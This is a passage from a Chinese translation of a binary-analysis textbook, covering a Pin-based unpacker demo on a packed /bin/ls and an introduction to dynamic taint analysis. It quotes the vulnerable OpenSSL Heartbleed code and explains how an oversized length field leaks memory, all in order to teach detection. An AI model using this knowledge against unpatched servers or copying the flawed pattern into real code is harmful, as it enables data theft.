   unpacked.0x400000-0x41da64_entry-0x40000c  unpacked.0x800000-0x80d6d0_entry-0x80d465
   unpacked.0x800000-0x80dd42_entry-0x80d6d0  unpacker.log
➌ $ head unpacker.log
   ------- unpacking binary -------
   extracting unpacked region 0x0000000000800000 (   53.7kB) wx entry 0x000000000080d465
   extracting unpacked region 0x0000000000800000 (   55.3kB) wx entry 0x000000000080d6d0
➍ extracting unpacked region 0x0000000000400000 (  118.6kB) wx entry 0x000000000040000c
   ******* Memory access clusters *******
   0x0000000000400000 (  118.6kB) wx: =======================================================...==
   0x0000000000800000 (   55.3kB) wx: =====================================
   0x000000000061de00 (    4.5kB) w-: ===
   0x00007ffc89084f60 (    3.8kB) w-: ==
   0x00007efc65ac12a0 (    3.3kB) w-: ==
➎ $ file unpacked.0x400000-0x41da64_entry-0x40000c
   unpacked.0x400000-0x41da64_entry-0x40000c: ERROR: ELF 64-bit LSB executable, x86-64,
   version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
   error reading (Invalid argument)

要使用解包器,您需要调用pin,将解包器作为 Pintool,并将打包的二进制文件(packed)作为应用程序 ➊。此时,应用程序在解包器的插装下运行,由于它是/bin/ls的副本,因此会打印出目录列表 ➋。您可以看到,目录列表中包含多个已解包的文件,每个文件使用的命名方案指示了转储区域的起始和结束地址,以及由插装代码检测到的入口点地址。

日志文件unpacker.log详细列出了提取的区域,并列出了所有内存块(包括那些没有解包的)解包器找到的内容 ➌。我们来更详细地看看最大的一份解包文件 ➍,名为unpacked.0x400000-0x41da64_entry-0x40000c。^(15) 使用file,你可以看出它是一个 ELF 二进制文件 ➎,尽管从某种程度上来说它是一个“损坏”的 ELF 文件,因为 ELF 二进制文件的内存表示与像file这样的工具期望的磁盘表示不完全对应。例如,段头表在运行时不可用,因此解包器无法恢复它。尽管如此,我们还是来看看 IDA Pro 和其他工具能否解析解包后的文件。

如图 9-9 所示,IDA Pro 在解包二进制文件中找到了比在打包文件中更多的函数,这很有前景。

image

图 9-9:在 IDA Pro 中显示的解包二进制文件

此外,你可以使用strings查看解包后的二进制文件包含许多可读字符串,表明解包成功,如清单 9-14 所示。

清单 9-14:在解包二进制文件中找到的字符串

➊  $ strings unpacked.0x400000-0x41da64_entry-0x40000c
    ...
➋  Usage: %s [OPTION]... [FILE]...
    List information about the FILEs (the current directory by default).
    Sort entries alphabetically if none of -cftuvSUX nor --sort is specified.
    Mandatory arguments to long options are mandatory for short options too.
      -a, --all                 do not ignore entries starting with .
      -A, --almost-all          do not list implied . and ..
          --author              with -l, print the author of each file
      -b, --escape              print C-style escapes for nongraphic characters
          --block-size=SIZE     scale sizes by SIZE before printing them; e.g.,
                                  '--block-size=M' prints sizes in units of
                                  1,048,576 bytes; see SIZE format below
      -B, --ignore-backups      do not list implied entries ending with ~
      -c                        with -lt: sort by, and show, ctime (time of last
                                  modification of file status information);
                                  with -l: show ctime and sort by name;
                                  otherwise: sort by ctime, newest first
      -C                        list entries by columns
          --color[=WHEN]        colorize the output; WHEN can be 'always' (default
                                  if omitted), 'auto', or 'never'; more info below
      -d, --directory           list directories themselves, not their contents
     ...

回想一下第五章,strings ➊是一个 Linux 工具,它可以显示在任何文件中找到的可读字符串。对于解包后的二进制文件,strings 显示了/bin/ls的使用说明 ➋(以及许多其他字符串)。

最后一个完整性检查,让我们使用objdump将解包后的代码与ls的原始代码进行比较。清单 9-15 显示了原始main函数在/bin/ls中的一部分,清单 9-16 则显示了解包后的代码。

要反汇编原始二进制文件,你可以正常使用objdump ➊,但对于解包后的二进制文件,你需要传递一些特殊选项 ➋,告诉objdump将文件当作包含 x86-64 代码的原始二进制文件处理,并反汇编文件的全部内容(使用-D而不是通常的-d)。这是必要的,因为解包后的二进制文件没有包含objdump用来判断代码段位置的段头表。

清单 9-15: main 函数在原始 /bin/ls 中的部分反汇编*

➊  $ objdump -M intel -d /bin/ls

   402a00: push   r15
   402a02: push   r14
   402a04: push   r13
   402a06: push   r12
   402a08: push   rbp
   402a09: push   rbx
   402a0a: mov    ebx,edi
   402a0c: mov    rbp,rsi
   402a0f: sub    rsp,0x388
   402a16: mov    rdi,QWORD PTR [rsi]
   402a19: mov    rax,QWORD PTR fs:0x28
   402a22: mov    QWORD PTR [rsp+0x378],rax
   402a2a: xor    eax,eax
   402a2c: call   40db00 <__sprintf_...>
   402a31: mov    esi,0x419ac1
   402a36: mov    edi,0x6
   402a3b: call   402840 <setlocale@plt>

清单 9-16: main 函数在解包二进制文件中的部分反汇编

➋  $ objdump -M intel -b binary -mi386 -Mx86-64 \
     -D unpacked.0x400000-0x41da64_entry-0x40000c
   2a00: push  r15
   2a02: push  r14
   2a04: push  r13
   2a06: push  r12
   2a08: push  rbp
   2a09: push  rbx
   2a0a: mov   ebx,edi
   2a0c: mov   rbp,rsi
   2a0f: sub   rsp,0x388
   2a16: mov   rdi,QWORD PTR [rsi]
   2a19: mov   rax,QWORD PTR fs:0x28
   2a22: mov   QWORD PTR [rsp+0x378],rax
   2a2a: xor   eax,eax
➌  2a2c: call  0xdb00
   2a31: mov   esi,0x419ac1
   2a36: mov   edi,0x6
➍  2a3b: call  0x2840

将清单 9-15 和 9-16 并排比较,你会看到代码是相同的,除了在 ➌ 和 ➍ 处的代码地址不同。这是因为objdump由于缺少段头表,无法知道解包二进制文件的预期加载地址。请注意,在解包后的二进制文件中,objdump也无法自动注解 PLT 存根的调用对应的函数名。幸运的是,像 IDA Pro 这样的反汇编工具允许你手动指定加载地址,因此经过一些配置后,你可以像处理正常二进制文件一样反向工程解包后的二进制文件!

9.6 小结

在这一章中,你学习了二进制插桩技术的工作原理,以及如何使用 Pin 对二进制文件进行插桩。现在你应该准备好构建自己的 Pintools,分析和修改运行时的二进制文件。在第十章到第十三章中,你将再次看到 Pin,我将在那时介绍基于 Pin 的污点分析和符号执行平台。

练习

1. 扩展性能分析器

性能分析器记录所有的系统调用,即使这些调用发生在主应用程序之外。修改性能分析器,检查系统调用的来源,并仅分析来自主应用程序的系统调用。要了解如何做到这一点,你需要查阅在线的 Pin 用户手册。

2. 调查解包后的文件

当你测试解包器时,它转储了几个文件,其中之一是解包后的/bin/ls。调查其他文件的内容以及解包器为什么会转储这些文件。

3. 扩展解包器

为自动解包器添加一个命令行选项,当启用时,它会对所有控制转移进行插桩,而不仅仅是间接控制转移,目的是查找跳转到 OEP 的地方。比较启用和未启用该选项时,解包器的运行时间。一个使用直接控制转移跳转到 OEP 的打包器如何工作?

4. 转储解密数据

构建一个 Pintool,可以监视一个应用程序,并在该应用程序使用 RC4(或你选择的其他加密算法)解密数据时自动检测并转储数据。你的 Pintool 可以报告假阳性(虚假的未解密数据),但应尽量减少这些情况。

第十章:动态污点分析的原理

想象一下,你是一个水文学家,想要追踪一条部分流经地下的河流的流向。你已经知道河流进入地下的地方,但你想找出它是否以及在哪个地方重新浮出水面。解决这个问题的一种方法是使用特殊的染料给河水上色,然后寻找这些染色水的出现地点。

在彩色水重新出现的地方。本章的主题,动态污点分析(DTA),将相同的思路应用于二进制程序。类似于给水流上色并追踪其流向,你可以使用 DTA 给程序内存中的选定数据上色或标记污点,然后动态跟踪这些污点字节的数据流,查看它们会影响程序中的哪些位置。

在本章中,你将学习动态污点分析的原理。DTA 是一项复杂的技术,因此熟悉其内部工作原理对构建有效的 DTA 工具至关重要。在第十一章中,我将向你介绍libdft,一个开源的 DTA 库,我们将使用它来构建几个实用的 DTA 工具。

10.1 什么是 DTA?

动态污点分析(DTA),也称为数据流追踪(DFT)污点追踪,或简称污点分析,是一种程序分析技术,可以帮助你确定选定的程序状态对其他程序状态部分的影响。例如,你可以标记污点任何程序从网络接收到的数据,追踪这些数据,并在它们影响程序计数器时发出警报,因为这种影响可能表明发生了控制流劫持攻击。

在二进制分析的背景下,DTA 通常是在动态二进制插桩平台(如 Pin)之上实现的,我们在第九章中讨论过该平台。为了追踪数据流,DTA 会插桩所有处理数据的指令,无论数据是在寄存器中还是在内存中。实际上,这几乎包括了所有指令,这意味着 DTA 会对插桩的程序带来非常高的性能开销。即使是在优化过的 DTA 实现中,10 倍或更大的性能下降也很常见。例如,在进行 Web 服务器的安全测试时,10 倍的开销可能是可以接受的,但在生产环境中通常是不可接受的。这就是为什么 DTA 通常仅用于程序的离线分析。

你也可以基于静态插桩来构建污点分析系统,而不是基于动态插桩,在编译时插入必要的污点分析逻辑,而不是在运行时。虽然这种方法通常能带来更好的性能,但它也需要源代码。由于我们关注的是二进制分析,本书将坚持使用动态污点分析。

如前所述,DTA 可以让你追踪选定的程序状态对有趣的程序位置的影响。让我们更详细地了解这意味着什么:如何定义有趣的状态或位置,某个状态部分对另一个部分的“影响”到底意味着什么?

10.2 三步法中的 DTA:污点源、污点汇和污点传播

从高层来看,污点分析包括三个步骤:定义 污点源、定义 污点汇追踪污点传播。如果你正在开发一个基于 DTA 的工具,前两个步骤(定义污点源和污点汇)由你来完成。第三个步骤(追踪污点传播)通常由现有的 DTA 库来处理,比如 libdft,但大多数 DTA 库也提供了让你自定义这一过程的方式。如果你愿意,我们可以逐步了解这三个步骤及其包含的内容。

10.2.1 定义污点源

污点源是你选择有趣数据进行追踪的程序位置。例如,系统调用、函数入口点或单个指令都可以作为污点源,正如你即将看到的那样。你选择追踪哪些数据,取决于你希望通过 DTA 工具实现什么目标。

你可以通过使用 DTA 库提供的 API 调用将数据标记为有趣的数据,从而对其进行污点标记。通常,这些 API 调用会接受一个寄存器或内存地址作为输入,来标记为污点数据。例如,假设你想要追踪从网络中传入的任何数据,以查看它是否表现出可能表明攻击的行为。为此,你需要在与网络相关的系统调用(如 recvrecvfrom)上插入回调函数,每当这些系统调用发生时,动态插桩平台都会调用此回调函数。在该回调函数中,你遍历所有接收到的字节并将其标记为污点数据。在这个例子中,recvrecvfrom 函数就是你的污点源。

类似地,如果你对追踪从文件中读取的数据感兴趣,你可以使用 read 等系统调用作为你的污点源。如果你想追踪两个数字相乘的结果,你可以对乘法指令的输出操作数进行污点标记,这些输出操作数就是你的污点源,等等。

10.2.2 定义污点汇

污点汇是你检查程序中是否有可能受到污点数据影响的位置。例如,为了检测控制流劫持攻击,你需要在间接调用、间接跳转和返回指令上插入回调函数,以检查这些指令的目标是否受到污点数据的影响。这些插入回调的指令就是你的污点汇。DTA 库提供了可以用于检查寄存器或内存位置是否被污点数据影响的函数。通常,当在污点汇检测到污点时,你可能需要触发某种响应,比如触发警报。

10.2.3 追踪污点传播

正如我提到的,要追踪程序中污点数据的流动,你需要对处理数据的所有指令进行插装。插装代码决定了污点如何从指令的输入操作数传播到其输出操作数。例如,如果mov指令的输入操作数被标记为污点,那么插装代码也会将输出操作数标记为污点,因为输出显然受输入操作数的影响。通过这种方式,污点数据可能最终从污点源传播到污点汇。

跟踪污点是一个复杂的过程,因为确定输出操作数的哪些部分需要被标记为污点并非总是很简单。污点传播受到污点策略的约束,污点策略指定了输入和输出操作数之间的污点关系。正如我在第 10.4 节中所解释的,根据你的需求,你可以使用不同的污点策略。为了避免你为所有指令编写插装代码的麻烦,污点传播通常由专门的 DTA 库(例如libdft)来处理。

现在你已经了解了污点跟踪的基本原理,让我们通过一个具体的例子来探讨如何使用 DTA 检测信息泄露。在第十一章中,你将学习如何实现自己的工具来检测这种类型的漏洞!

10.3 使用 DTA 检测 Heartbleed 漏洞

为了看看 DTA 如何在实践中派上用场,让我们考虑一下如何使用它来检测 OpenSSL 中的 Heartbleed 漏洞。OpenSSL 是一个广泛用于保护互联网通信的加密库,包括与网站和电子邮件服务器的连接。Heartbleed 漏洞可以被利用来从使用易受攻击版本的 OpenSSL 的系统中泄露信息。这些信息可能包括高度敏感的内容,比如存储在内存中的私钥、用户名/密码等。

10.3.1 Heartbleed 漏洞概述

Heartbleed 利用了 OpenSSL 实现的 Heartbeat 协议中的经典缓冲区过度读取漏洞(注意,Heartbeat是被利用的协议的名称,而Heartbleed是该漏洞的名称)。Heartbeat 协议允许设备通过向 SSL 启用的服务器发送Heartbeat 请求,该请求包含由发送方指定的任意字符字符串,以检查与服务器的连接是否仍然存活。如果一切正常,服务器会通过回显该字符串的Heartbeat 响应消息来做出回应。

除了字符字符串外,Heartbeat 请求还包含一个字段,用于指定该字符串的长度。正是对该长度字段的错误处理导致了 Heartbleed 漏洞的出现。易受攻击版本的 OpenSSL 允许攻击者指定一个远大于实际字符串长度的值,从而导致服务器在将字符串复制到响应中时泄露额外的内存字节。

清单 10-1 展示了导致 Heartbleed 漏洞的 OpenSSL 代码。我们先简要讨论一下它的工作原理,然后再介绍 DTA 如何检测与 Heartbleed 相关的信息泄漏。

清单 10-1:导致 OpenSSL Heartbleed 漏洞的代码

   /* Allocate memory for the response, size is 1 byte
    * message type, plus 2 bytes payload length, plus
    * payload, plus padding
    */
➊ buffer = OPENSSL_malloc(1 + 2 + payload + padding);
➋ bp = buffer;

   /* Enter response type, length and copy payload */
➌ *bp++ = TLS1_HB_RESPONSE;
➍ s2n(payload, bp);
➎ memcpy(bp, pl, payload);
   bp += payload;

   /* Random padding */
➏ RAND_pseudo_bytes(bp, padding);

➐ r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);

清单 10-1 中的代码是 OpenSSL 函数的一部分,用于在接收到请求后准备心跳响应。清单中三个最重要的变量是plpayloadbp。变量pl是指向心跳请求中负载字符串的指针,该字符串将被复制到响应中。尽管名字让人困惑,payload并不是指向负载字符串的指针,而是一个unsigned int,指定了该字符串的长度plpayload都来自心跳请求消息,因此在 Heartbleed 漏洞的上下文中,它们是由攻击者控制的。变量bp是指向响应缓冲区的指针,用于复制负载字符串。

首先,清单 10-1 中的代码分配了响应缓冲区➊,并将bp设置为该缓冲区的起始位置➋。请注意,缓冲区的大小由攻击者通过payload变量控制。响应缓冲区中的第一个字节包含数据包类型:TLS1_HB_RESPONSE(心跳响应)➌。接下来的 2 个字节包含负载长度,该长度直接通过payload变量(由S2N宏处理)从攻击者控制的payload变量中复制过来➍。

现在,进入 Heartbleed 漏洞的核心部分:一个memcpy,它将payload字节从pl指针复制到响应缓冲区➎。回想一下,payload和存储在pl中的字符串都在攻击者的控制之下。因此,通过提供一个较短的字符串和一个较大的payload数值,你可以欺骗memcpy继续复制过请求字符串,泄漏请求旁边的内存内容。通过这种方式,最多可以泄漏 64KB 的数据。最后,在响应的末尾添加一些随机填充字节➏,包含泄漏信息的响应会通过网络发送到攻击者➐。

10.3.2 通过污染检测 Heartbleed 漏洞

图 10-1 展示了如何使用 DTA 检测这种信息泄漏,并说明了在遭受 Heartbleed 攻击的系统内存中发生的情况。在这个示例中,你可以假设心跳请求存储在靠近一个秘密密钥的内存位置,并且你已经污染了该密钥,以便追踪它被复制的位置。你还可以假设sendsendto系统调用是污染接收点,用于检测即将通过网络发送的污染数据。为了简便起见,图中只展示了内存中的相关字符串,而没有显示请求和响应消息的类型和长度字段。

图 10-1a 展示了攻击者精心构造的心跳请求刚刚接收后的情况。请求包含负载字符串foobar,它恰好存储在内存中,紧邻一些随机字节(标记为?)和一个密钥。变量pl指向字符串的起始位置,攻击者已将payload设置为 21,使得与负载字符串相邻的 15 个字节会被泄露。^(1) 密钥被标记为污点,以便当它通过网络泄露时可以被检测到,而响应的缓冲区则分配在内存的其他地方。

image

图 10-1:Heartbleed 缓冲区过度读取将一个密钥泄漏到响应缓冲区,该缓冲区将通过网络发送。污点化密钥使得在泄漏信息被发送时,能够检测到过度读取。

接下来,图 10-1b 展示了当易受攻击的memcpy被执行时发生的情况。正如预期的那样,memcpy首先开始复制负载字符串foobar,但由于攻击者将payload设置为 21,memcpy会继续复制,即使它已经复制完了负载字符串的 6 个字节。memcpy会过度读取,首先是读取负载字符串旁边存储的随机数据,然后是密钥。结果,密钥被复制到了响应缓冲区,并即将通过网络发送出去。

如果没有污点分析,游戏就此结束了。包括泄露的密钥在内的响应缓冲区将被发送回攻击者。幸运的是,在这个例子中,你使用 DTA 防止了这种情况的发生。当密钥被复制时,DTA 引擎会注意到它正在复制被污点标记的字节,并将输出字节也标记为污点。在memcpy完成并在执行网络send之前检查污点字节时,你会发现响应缓冲区的部分内容已经被污点标记,从而检测到 Heartbleed 攻击。

这只是动态污点分析的众多应用之一,其他一些应用我将在第十一章中介绍。正如我之前提到的,你不想在生产服务器上运行这种类型的 DTA,因为它会造成很大的性能下降。然而,我刚刚描述的这种分析与模糊测试结合使用时效果很好,模糊测试是通过向应用程序或库(如 OpenSSL)提供伪随机生成的输入来测试其安全性,例如,当负载字符串和长度字段不匹配的心跳请求。

为了检测漏洞,模糊测试依赖于外部可观察的效果,比如程序崩溃或挂起。然而,并非所有漏洞都会产生这种可见效果,因为信息泄露等漏洞可能在没有崩溃或挂起的情况下悄然发生。你可以使用 DTA 扩展模糊测试中可观察到的漏洞范围,将非崩溃类漏洞(如信息泄露)也包括其中。这种类型的模糊测试本可以在脆弱的 OpenSSL 版本发布之前发现 Heartbleed 漏洞。

这个例子涉及简单的污点传播,其中污点的密钥直接被复制到输出缓冲区。接下来,我将介绍更复杂的数据流中更复杂的污点传播类型。

10.4 DTA 设计因素:污点粒度、污点颜色数和污点策略

在上一节中,DTA 仅需要简单的污点传播规则,污点本身也很简单:一字节的内存要么是污点,要么不是。在更复杂的 DTA 系统中,有多个因素决定系统性能与通用性之间的平衡。在本节中,你将学习 DTA 系统的三个最重要的设计维度:污点粒度污点颜色数污点传播策略

请注意,DTA 可用于许多不同的目的,包括漏洞检测、数据外泄防护、自动代码优化、取证等。在这些应用中,"污点"这一概念的意义不同。为了简化以下讨论,当一个值是污点时,我将始终将其理解为“攻击者可以影响该值”。

10.4.1 污点粒度

污点粒度是 DTA 系统追踪污点的最小信息单位。例如,比特粒度系统会追踪寄存器或内存中每个比特是否为污点,而字节粒度系统只会按字节追踪污点信息。如果某个字节中的任意 1 个比特为污点,字节粒度系统将标记整个字节为污点。类似地,字长粒度系统会按内存字长追踪污点信息,以此类推。

为了可视化比特粒度和字节粒度 DTA 系统之间的差异,让我们考虑一个二进制与运算(&)操作,操作数为两个字节,其中一个字节是污点。接下来,我将分别展示每个操作数的所有比特,每个比特都会被框住。白色框表示非污点比特,灰色框表示污点比特。首先,来看一下污点如何在比特粒度系统中传播:

image

正如你所看到的,第一个操作数的所有比特都被污染,而第二个操作数的比特没有任何污染。由于这是按位与(AND)操作,只有当两个输入操作数在相应位置都有 1 时,输出比特才会被设置为 1。换句话说,如果攻击者仅控制第一个输入操作数,那么他们能够影响输出的唯一比特位置就是第二个操作数在该位置上为 1 的那些位置。所有其他输出比特将始终被设置为 0。因此,在这个例子中,只有一个输出比特被污染。它是攻击者可以控制的唯一比特位置,因为第二个操作数只有在该位置设置了 1。实际上,没有污染的第二个操作数充当了第一个操作数污染的“过滤器”。^(2)

现在让我们将其与字节粒度 DTA 系统中的相应操作进行对比。两个输入操作数与之前相同。

image

由于字节粒度 DTA 系统无法单独考虑每个比特,因此整个输出被标记为污染。系统仅看到一个被污染的输入字节和一个非零的第二个操作数,因此得出结论,攻击者可能会影响输出操作数。

正如你所看到的,DTA 系统的粒度是影响其准确性的重要因素:字节粒度系统可能比比特粒度系统不那么准确,具体取决于输入。另一方面,污染粒度也是 DTA 系统性能的一个主要因素。为了单独跟踪每个比特的污染所需的插装代码是复杂的,这导致了较高的性能开销。尽管字节粒度系统准确性较低,但它们允许更简单的污染传播规则,仅需要简单的插装代码。通常,这意味着字节粒度系统比比特粒度系统要快得多。实际上,大多数 DTA 系统使用字节粒度,以在准确性和速度之间实现合理的折衷。

10.4.2 污染颜色

在所有迄今为止的例子中,我们都假设一个值要么被污染,要么没有被污染。回到我们的河流类比,使用单一颜色的染料来完成这件事相当简单。但有时你可能希望同时追踪多条流经同一洞穴系统的河流。如果你使用同一种颜色给多条河流染色,那么你就无法准确知道河流是如何连接的,因为染色的水可能来自任何源头。

类似地,在 DTA 系统中,有时你不仅需要知道一个值是否被污染,还需要知道污染来自哪里。你可以使用多个污染颜色为每个污染源应用不同的颜色,这样当污染到达汇点时,你就可以准确知道哪个源头影响了该汇点。

在一个只有一种污染颜色的字节粒度 DTA 系统中,只需要一个单独的位来跟踪每个字节内存的污染情况。为了支持多于一种颜色,你需要为每个字节存储更多的污染信息。例如,为了支持八种颜色,你需要为每个字节内存存储 1 字节的污染信息。

乍一看,你可能会认为可以在 1 字节的污染信息中存储 255 种不同的颜色,因为一个字节可以存储 255 个不同的非零值。然而,这种方法无法支持不同颜色的混合。没有混合颜色的能力,你将无法在两个污染流一起运行时区分污染流:如果一个值受到两个不同污染源的影响,每个污染源都有自己的颜色,那么你将无法在该值的污染信息中记录两种颜色。

为了支持颜色混合,你需要为每种污染颜色使用一个专用的位。例如,如果你有 1 字节的污染信息,你可以支持颜色 0x010x020x040x080x100x200x400x80。然后,如果某个值受到 0x010x02 两种颜色的污染,那么该值的组合污染信息就是 0x03,这是两种颜色的按位 OR 运算结果。你可以通过实际的颜色来理解不同的污染颜色,以便更容易理解。例如,你可以将 0x01 称为“红色”,将 0x02 称为“蓝色”,将组合颜色 0x03 称为“紫色”。

10.4.3 污染传播策略

DTA 系统的污染策略描述了系统如何传播污染,以及如果多个污染流一起运行时,如何合并污染颜色。表 10-1 展示了在一个字节粒度的 DTA 系统中,污染是如何通过几种不同的操作传播的,使用了两种颜色:“红色”(R)和“蓝色”(B)。所有示例中的操作数均由 4 个字节组成。请注意,其他污染策略也是可能的,特别是对于那些对操作数执行非线性变换的复杂操作。

表 10-1: 一个字节粒度 DTA 系统的污染传播示例,使用两种颜色,红色(R)和蓝色(B)

image

在第一个示例中,变量 a 的值被赋给变量 c ➊,相当于 x86 mov 指令。对于像这样的简单操作,污染传播规则同样很简单:因为输出 c 只是 a 的副本,所以 c 的污染信息是 a 污染信息的副本。换句话说,在这种情况下,污染合并运算符是 :=,赋值运算符。

下一个示例是 xor 运算,c = ab ➋。在这种情况下,简单地将其中一个输入操作数的污点分配给输出是没有意义的,因为输出依赖于两个输入。相反,一个常见的污点策略是对输入操作数的污点进行逐字节联合(∪)。例如,第一个操作数的最高有效字节被标记为红色(R),而第二个操作数的最高有效字节标记为蓝色(B)。因此,输出的最高有效字节的污点是这两者的联合,既有红色也有蓝色(RB)。

第三个示例 ➌ 中也使用了逐字节联合策略进行加法运算。请注意,对于加法运算,有一个特殊情况:两个字节的加法可能会产生溢出位,并将其传递到相邻字节的最低有效位(LSB)。假设攻击者只控制其中一个操作数的最低有效字节。那么,在这种特殊情况下,攻击者可能会导致 1 位溢出到相邻字节,从而使攻击者也能部分影响该字节的值。你可以通过显式检查此特殊情况并在发生溢出时标记相邻字节来在污点策略中考虑此特殊情况。在实际操作中,许多 DTA 系统选择不检查这种特殊情况,以简化和加快污点传播。

示例 ➍ 是 xor 运算的特例。对操作数与其自身进行 xor 运算(c = a a)始终会产生输出零。在这种情况下,即使攻击者控制了 a,他们也无法控制输出 c。因此,污点策略是通过将每个输出字节的污点清除为空集(ø)来清除所有输出字节的污点。

接下来是一个常量值的左移操作,c = a ≪ 6 ➎。由于第二个操作数是常量,即使攻击者部分控制输入 a,也无法始终控制所有输出字节。一个合理的策略是,仅将输入的污点传播到输出中那些(部分或完全)由污点输入字节覆盖的字节,实际上是“将污点向左移动”。在这个例子中,由于攻击者只控制 a 的低字节,并且该字节左移了 6 位,这意味着低字节的污点会传播到输出的低 两个 字节。

在示例 ➏ 中,另一方面,移动的值(a)和移动的量(b)都是变量。控制 b 的攻击者(如示例中的情况)可以影响输出的所有字节。因此,b 的污点会被赋给每个输出字节。

DTA 库,如libdft,具有预定义的污点策略,免去了你为所有类型的指令实现规则的麻烦。然而,你可以根据具体工具调整规则,对于那些默认策略不完全适合你需求的指令进行修改。例如,如果你正在实现一个检测信息泄露的工具,你可能希望通过禁用污点传播来提高性能,尤其是通过那些改变数据使其无法识别的指令。

10.4.4 污点过度与污点不足

根据污点策略,DTA 系统可能会出现污点不足、污点过度或两者同时发生的情况。

污点不足发生在一个值没有被污点标记,尽管它“应该”被标记,这意味着攻击者可以在不被发现的情况下影响该值。污点不足可能是污点策略的结果,例如系统未处理加法中的溢出位等边缘情况,如前所述。当污点流经不受支持的指令且没有污点传播处理程序时,也可能会发生污点不足。例如,DTA 库如libdft通常不内置对 x86 MMX 或 SSE 指令的支持,因此,流经这些指令的污点可能会丢失。控制依赖性也可能导致污点不足,正如你稍后会看到的那样。

与污点不足类似,污点过度意味着值最终被污点标记,尽管它“本不该被标记”。这会导致假阳性,例如在没有实际攻击发生的情况下触发警报。像污点不足一样,污点过度也可能是污点策略或控制依赖性处理方式的结果。

虽然 DTA 系统努力最小化污点不足和污点过度,但通常在保持合理性能的同时,完全避免这些问题是不可能的。目前没有任何一个实用的 DTA 库能够完全避免一定程度的污点不足或污点过度。

10.4.5 控制依赖性

回想一下,污点追踪用于追踪数据流。然而,有时数据流可能会受到像分支这样的控制结构的隐式影响,这种情况被称为隐式流。你将在第十一章中看到隐式流的实际示例,但现在,先看一下下面这个合成示例:

var = 0;
while(cond--) var++;

在这里,一个控制循环条件cond的攻击者可以确定var的值。这就叫做控制依赖性。虽然攻击者可以通过cond控制var,但两者之间没有显式的数据流。因此,只有追踪显式数据流的 DTA 系统将无法捕捉到这种依赖关系,并且即使cond被污点标记,var也会保持未被标记,从而导致污点不足。

一些研究尝试通过将污点从分支和循环条件传播到因分支或循环而执行的操作来解决这个问题。在这个例子中,这意味着将污点从cond传播到var。不幸的是,这种方法导致了大量的过度污点化,因为污染的分支条件是常见的,即使没有发生攻击。例如,考虑如下的用户输入清理检查:

if(is_safe(user_input)) funcptr = safe_handler;
else                    funcptr = error_handler;

假设我们对所有用户输入进行污点标记以检查攻击,并且user_input的污点传播到is_safe函数的返回值,后者被用作分支条件。假设用户输入清理做得很妥当,那么尽管分支条件被污染,代码依然是完全安全的。

但尝试追踪控制依赖的 DTA 系统无法将这种情况与前面列出的危险情况区分开来。这些系统最终会将funcptr(指向用户输入处理程序的函数指针)标记为污点。当稍后调用被污染的funcptr时,这可能会触发误报警告。这种泛滥的误报会使系统完全无法使用。

由于用户输入上的分支很常见,而攻击者可利用的隐式流相对较少,因此大多数实际的 DTA 系统并不追踪控制依赖。

10.4.6 影子内存

到目前为止,我已经展示了污点追踪器如何追踪每个寄存器或内存字节的污点,但我还没有解释它们是如何存储这些污点信息的。为了存储哪些寄存器或内存部分被污染以及污染的颜色,DTA 引擎维护了专用的影子内存。影子内存是由 DTA 系统分配的一个虚拟内存区域,用于跟踪其余内存的污点状态。通常,DTA 系统还会分配一个特殊的内存结构,用来追踪 CPU 寄存器的污点信息。

影子内存的结构根据污点粒度以及支持的污点颜色数量的不同而有所区别。图 10-2 展示了不同字节粒度的影子内存布局示例,分别用于追踪每字节内存的 1、8 或 32 种颜色。

image

图 10-2:具有字节粒度并且每个字节支持 1、8 或 32 种颜色的影子内存

图 10-2 的左侧部分展示了一个运行 DTA 的程序的虚拟内存。具体来说,它显示了四个虚拟内存字节的内容,标记为 A、B、C 和 D。这些字节共同存储了示例十六进制值0xde8a421f

基于位图的影子内存

图的右侧显示了三种不同类型的阴影内存,以及它们如何对字节 A–D 编码污点信息。第一种类型的阴影内存,如图 10-2 右上方所示,是一个位图 ➊。它为每个虚拟内存字节存储一个污点信息位,因此只能表示一种颜色:每个内存字节要么是被污染的,要么是未污染的。字节 A–D 被表示为位 1101,意味着字节 A、B 和 D 是被污染的,而字节 C 不是。

虽然位图只能表示一种颜色,但它们的优点是所需内存相对较少。例如,在 32 位 x86 系统上,虚拟内存的总大小为 4GB。用于 4GB 虚拟内存的阴影内存位图仅需要 4GB/8 = 512MB 的内存,剩余的 7/8 虚拟内存可以用于正常使用。请注意,这种方法在 64 位系统上无法扩展,因为虚拟内存空间要大得多。

多色阴影内存

多色污点引擎和 x64 系统需要更复杂的阴影内存实现。例如,看看图 10-2 中显示的第二种类型的阴影内存 ➋。它支持八种颜色,每个虚拟内存字节使用 1 字节的阴影内存。同样,你可以看到字节 A、B 和 D 被污染(分别为颜色 0x010x040x20),而字节 C 未被污染。请注意,为了存储进程中每个虚拟内存字节的污点信息,一个未优化的八色阴影内存必须和该进程的整个虚拟内存空间一样大!

幸运的是,通常不需要为分配阴影内存的内存区域存储阴影字节,因此可以省略该内存区域的阴影字节。即便如此,如果没有进一步的优化,阴影内存仍然需要占用虚拟内存的一半。通过仅为实际使用的虚拟内存部分(在堆栈或堆中)动态分配阴影内存,且需要一些额外的运行时开销,可以进一步减少这一占用。此外,不能写入的虚拟内存页面永远不会被污染,因此可以安全地将它们映射到同一个“清零”阴影内存页面上。通过这些优化,多色 DTA 变得可管理,尽管它仍然需要大量内存。

最后一种阴影内存类型,如图 10-2 所示,支持 32 种颜色 ➌。字节 A、B 和 D 分别被污染为颜色 0x010000000x008000000x00000200,而字节 C 未被污染。如你所见,这需要每个内存字节 4 字节的阴影内存,这相当于较大的内存开销。

所有这些示例将阴影内存实现为一个简单的位图、字节数组或整数数组。通过使用更复杂的数据结构,可以支持任意数量的颜色。例如,你可以使用 C++风格的set为每个内存字节实现阴影内存。然而,这种方法会显著增加 DTA 系统的复杂性和运行时开销。

10.5 总结

在本章中,我向你介绍了动态污点分析(DTA),这是一种非常强大的二进制分析技术。DTA 允许你跟踪数据从污点源到污点汇的流动,从而实现从代码优化到漏洞检测的自动化分析。现在你已经了解了 DTA 的基本概念,你可以继续阅读第十一章,在其中你将使用libdft构建实用的 DTA 工具。

练习

1. 设计一个格式字符串漏洞检测器

